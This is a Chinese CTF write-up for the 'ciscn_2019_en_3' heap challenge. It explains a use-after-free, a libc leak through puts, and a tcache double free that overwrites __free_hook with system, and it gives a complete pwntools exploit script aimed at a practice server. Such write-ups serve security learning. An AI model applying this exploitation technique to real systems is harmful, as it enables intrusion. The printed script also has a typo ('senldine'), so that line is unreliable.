ciscn_2019_en_3
管理我们先来checksec一下
保护全开的64位程序
放进ida64里看看
main函数没啥营养就是setbuf后跳转到vuln函数
add
将chunk_addr和chunk_size存放在数组unk_202060上
show和edit函数都没啥用这里就不展示了
delete
只free掉了chunk未将指数归零因此存在uaf漏洞
审题完毕,开始解题
因为存在uaf漏洞 因此我们只需要泄露libc即可 而在开头的puts函数中我们便可以泄露libc
泄露libc
利用puts函数不遇到\x00就不会截止的特性我们将栈塞满这样我们就可以接收到setbuffer+231的内容了
利用接受到的地址我们就可以算出libc_base进而泄露整个libc
io.recvuntil("What's your name?\n")
io.sendline(b'a')
io.recvuntil("input your ID.\n")
io.sendline(b'aaaaaaaa')
io.recvuntil('aaaaaaaa')
libc_base = u64(io.recv(6).ljust(8,'\x00')) -231 - libc.sym['setbuffer']
sys_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
此张图片我用的是libc.2.31因此是setbuffer+204实际上按照题目给的2.27应该是setbuffer+231
利用uaf漏洞来达成system(/bin/sh)
add(0x80,'aaaa')#chunk0
add(0x80,'/bin/sh')#chunk1
free(0)
free(0)
add(0x80,p64(free_hook))
add(0x80,b'a')
add(0x80,p64(sys_addr))
free(1)
io.interactive()
成功获取控制权
exp:
from pwn import *
context.log_level='debug'
io=remote('node4.buuoj.cn',28754)
elf=ELF('./ciscn_2019_en_3')
libc=ELF('./libc.2.27.so')
def add(size,content):
io.recvuntil('choice:')
io.sendline(b'1')
io.recvuntil('story:')
io.sendline(str(size))
io.recvuntil('story:')
io.sendline(content)
def free(idx):
io.recvuntil('choice:')
io.sendline(b'2')
io.recvuntil('index:')
io.senldine(str(idx))
io.recvuntil("What's your name?\n")
io.sendline(b'a')
io.recvuntil("input your ID.\n")
io.sendline(b'aaaaaaaa')
io.recvuntil('aaaaaaaa')
libc_base = u64(io.recv(6).ljust(8,'\x00')) -231 - libc.sym['setbuffer']
sys_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
add(0x80,'aaaa')#chunk0
add(0x80,'/bin/sh')#chunk1
free(0)
free(0)
add(0x80,p64(free_hook))
add(0x80,b'a')
add(0x80,p64(sys_addr))
free(1)
io.interactive()